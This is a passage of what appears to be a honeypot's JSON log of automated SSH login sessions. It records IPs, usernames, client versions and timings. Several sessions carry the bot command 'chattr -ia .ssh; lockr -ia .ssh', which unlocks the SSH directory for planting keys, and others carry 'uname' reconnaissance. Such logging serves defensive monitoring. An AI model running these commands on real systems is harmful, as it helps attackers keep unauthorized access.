  "src_ip": "168.167.228.123",
  "src_port": 40722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:42.710893+00:00",
  "ended_at": "2026-08-26T14:39:44.286402+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bbdb22ad-1507-4de9-b6a8-f0d23afa2ca0",
  "name": "spirited-solemn-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59067,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:38.563081+00:00",
  "ended_at": "2026-08-26T14:39:51.924136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "573b33b6-3eae-458e-b5ca-03759bf9cb6d",
  "name": "loyal-dusty-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:21.006538+00:00",
  "ended_at": "2026-08-26T14:39:22.744954+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40636307-ff66-46af-ba25-ecb11fe7801b",
  "name": "amber-inland-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:20.792467+00:00",
  "ended_at": "2026-08-26T14:39:22.174356+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0e9d567-4b63-4584-9790-af069e62fc0b",
  "name": "misty-thorny-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40723,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:17.909803+00:00",
  "ended_at": "2026-08-26T14:39:19.288229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e79f8092-dfec-4618-93b9-9ccd7fb0ea31",
  "name": "crystal-russet-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:01.848656+00:00",
  "ended_at": "2026-08-26T14:39:03.738508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "855446ec-1013-4fd5-882c-3c37d0d9a9a8",
  "name": "northern-tawny-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:38:59.408595+00:00",
  "ended_at": "2026-08-26T14:39:01.263174+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "945d7441-ed80-4b84-986f-1afe87bb4ec2",
  "name": "wandering-brisk-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 53794,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:37:40.679739+00:00",
  "ended_at": "2026-08-26T14:37:41.030199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ed78d65-5960-4a4f-a54e-49fc86cd34fa",
  "name": "nimble-wandering-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 62794,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:37:24.046646+00:00",
  "ended_at": "2026-08-26T14:37:24.384414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdb39c75-9d9c-411a-a462-848f8b63369a",
  "name": "ashen-humble-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58144,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:37:21.409105+00:00",
  "ended_at": "2026-08-26T14:37:22.312259+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "5ada0aaa-8ca6-459e-a378-738cee4e81d9",
  "name": "grassy-marbled-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40719,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:37:02.987773+00:00",
  "ended_at": "2026-08-26T14:37:04.629367+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2264
 },
 {
  "id": "d37821db-251e-4527-a069-5f98022a7a26",
  "name": "marine-mottled-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58162,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:58.912488+00:00",
  "ended_at": "2026-08-26T14:37:00.256289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2ffd9c6-933d-4e82-830c-b60f3897d582",
  "name": "kindly-bold-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:57.057109+00:00",
  "ended_at": "2026-08-26T14:36:58.326784+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fc0f6b8-371a-4a2f-bd6e-b7946a0e47eb",
  "name": "indigo-grassy-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40721,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:39.709460+00:00",
  "ended_at": "2026-08-26T14:36:41.612477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1373702d-994e-44c6-a12f-f0a65d8637fe",
  "name": "subtle-amber-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40720,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:36.591012+00:00",
  "ended_at": "2026-08-26T14:36:38.198618+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89f9cf55-6093-45e0-a19e-bd2df5e61d1b",
  "name": "golden-frugal-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:35:22.389541+00:00",
  "ended_at": "2026-08-26T14:35:23.705048+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "84c64f1f-27a4-4c6f-99eb-3b8b6fdb7e2f",
  "name": "thawing-humble-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:56.369047+00:00",
  "ended_at": "2026-08-26T14:34:58.275069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f025f9b-38ec-44d7-bdb2-4ebbaaddc188",
  "name": "civil-lonesome-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:54.058566+00:00",
  "ended_at": "2026-08-26T14:34:55.771196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89e6cbde-a1ab-4e25-bd9f-7903dd78048d",
  "name": "amiable-zealous-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46206,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:34:33.063869+00:00",
  "ended_at": "2026-08-26T14:34:38.705243+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2451c23b-8acf-4192-adfb-1ca96d396457",
  "name": "sleepy-marine-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40050,
  "username": "aaa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:23.347519+00:00",
  "ended_at": "2026-08-26T14:34:24.838571+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7fc0bc7-d506-4935-bfd9-e21e65e3941e",
  "name": "hidden-murky-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37834,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:34:18.365444+00:00",
  "ended_at": "2026-08-26T14:34:21.383432+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d6bc292-5de0-4fdd-bd32-ac94c27cd299",
  "name": "stormy-feral-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41662,
  "username": "aaa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:34:18.285414+00:00",
  "ended_at": "2026-08-26T14:34:24.840858+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "24d89739-dec6-4187-8b9e-2e8bf306c2a3",
  "name": "jolly-sunlit-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:34:15.066072+00:00",
  "ended_at": "2026-08-26T14:34:16.782068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "062e160d-0cf5-4c6e-a8b0-1acbeac449bb",
  "name": "freckled-fierce-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 58024,
  "username": "abbygail",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:00.804622+00:00",
  "ended_at": "2026-08-26T14:34:01.364003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "230be448-d7ac-4cab-a2af-d2e1925932c1",
  "name": "noble-tender-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47614,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 340,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:58.365597+00:00",
  "ended_at": "2026-08-26T14:34:03.225851+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3821e0a-0646-449b-9fa3-68e95a4d598b",
  "name": "gallant-fabled-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:33:53.029446+00:00",
  "ended_at": "2026-08-26T14:33:54.936969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d854674-3593-45f7-9fa4-7504cae1047b",
  "name": "smooth-frosty-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40717,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:33:50.148939+00:00",
  "ended_at": "2026-08-26T14:33:51.527917+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4babcea-c62b-4b14-ba6a-fbb90e39d975",
  "name": "austere-breezy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35064,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:46.599348+00:00",
  "ended_at": "2026-08-26T14:33:49.333007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3f81e4ba-ed12-42fe-8dd3-2b8264bf23bc",
  "name": "burly-jaunty-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41088,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 432,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:32.802235+00:00",
  "ended_at": "2026-08-26T14:33:36.514437+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9480181a-9c50-41c9-87da-909c641bd03c",
  "name": "rambling-fearless-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38216,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:26.155615+00:00",
  "ended_at": "2026-08-26T14:33:31.909826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eae6fba8-c3b6-4260-ab9a-2a5f3edb67d0",
  "name": "brave-austere-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56354,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:33:17.335120+00:00",
  "ended_at": "2026-08-26T14:33:18.473899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "36aa25ed-924d-430f-8d51-4554eeebb004",
  "name": "woven-hidden-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 403,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:09.429144+00:00",
  "ended_at": "2026-08-26T14:33:13.037032+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7bc8f12-6b2a-4cbf-be4f-a0595d334efc",
  "name": "vivid-smooth-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.225",
  "src_port": 42054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:58.473366+00:00",
  "ended_at": "2026-08-26T14:32:58.938227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a4b9bab-3894-408d-9f4e-d534b935bb13",
  "name": "mossy-cheerful-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60746,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:56.455689+00:00",
  "ended_at": "2026-08-26T14:32:57.429862+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "739b5321-74d0-4558-9170-ad7e986c135a",
  "name": "autumn-drifting-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60732,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:54.276739+00:00",
  "ended_at": "2026-08-26T14:32:55.885289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fabbc092-2b87-4e92-bb5a-6d3399c28bc6",
  "name": "dappled-proud-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39442,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 493,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:32:52.717032+00:00",
  "ended_at": "2026-08-26T14:32:56.274019+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab0fe243-2ae8-4009-acc7-f45ef1a211fa",
  "name": "valiant-hidden-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58026,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 398,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:32:45.690302+00:00",
  "ended_at": "2026-08-26T14:32:48.931822+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab54c500-ec97-4754-8ee5-7c1dae727902",
  "name": "blunt-ashen-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42320,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:32:33.358677+00:00",
  "ended_at": "2026-08-26T14:32:38.652369+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d31d5cba-3755-437e-b96e-019397fc2765",
  "name": "hearty-leafy-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 38210,
  "username": "ark",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:29.319144+00:00",
  "ended_at": "2026-08-26T14:32:35.614826+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e123cbab-cf40-456d-b41c-f8febe5ba36a",
  "name": "mottled-deft-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53854,
  "username": "ark",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:32:23.295465+00:00",
  "ended_at": "2026-08-26T14:32:35.615893+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "29917647-2ae4-4a02-893c-0b5c79472994",
  "name": "thawing-quaint-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57602,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:32:16.689938+00:00",
  "ended_at": "2026-08-26T14:32:21.338841+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6a190301-7866-43d7-ab3f-e1c97ee1511c",
  "name": "fleeting-pleasant-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57540,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:55.068605+00:00",
  "ended_at": "2026-08-26T14:31:57.714749+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2ad4691f-052c-4b27-a95e-b7e3a52994a1",
  "name": "bronzed-distant-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51536,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:48.280318+00:00",
  "ended_at": "2026-08-26T14:31:53.344178+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "faffdfda-db68-4f26-955b-e2d7f0083163",
  "name": "proud-vigilant-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40713,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:31:31.396008+00:00",
  "ended_at": "2026-08-26T14:31:32.655176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "b120b8a6-d2ce-4c6c-b2f8-ffb8c8001570",
  "name": "granite-electric-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 487,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:29.897510+00:00",
  "ended_at": "2026-08-26T14:31:34.902769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "928457a2-2486-42be-8c4c-922add913a0b",
  "name": "genial-hazel-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43870,
  "username": "odoo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 462,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:15.452743+00:00",
  "ended_at": "2026-08-26T14:31:20.616898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2ecc14fe-0580-403a-af11-51c29521eb3e",
  "name": "cosmic-opal-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50718,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 303,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:31:13.259582+00:00",
  "ended_at": "2026-08-26T14:31:14.892471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "85a0297e-2e8c-4dd1-8f50-3d4655f3d88d",
  "name": "crisp-opal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40715,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:31:09.885687+00:00",
  "ended_at": "2026-08-26T14:31:11.044053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4beb6a2a-b46e-4854-8d10-91508df80162",
  "name": "civil-shifting-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55836,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:07.745201+00:00",
  "ended_at": "2026-08-26T14:31:11.295696+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebd0ac21-b29b-4de1-9e8f-62205cd60f00",
  "name": "frosty-distant-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40714,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:31:06.728355+00:00",
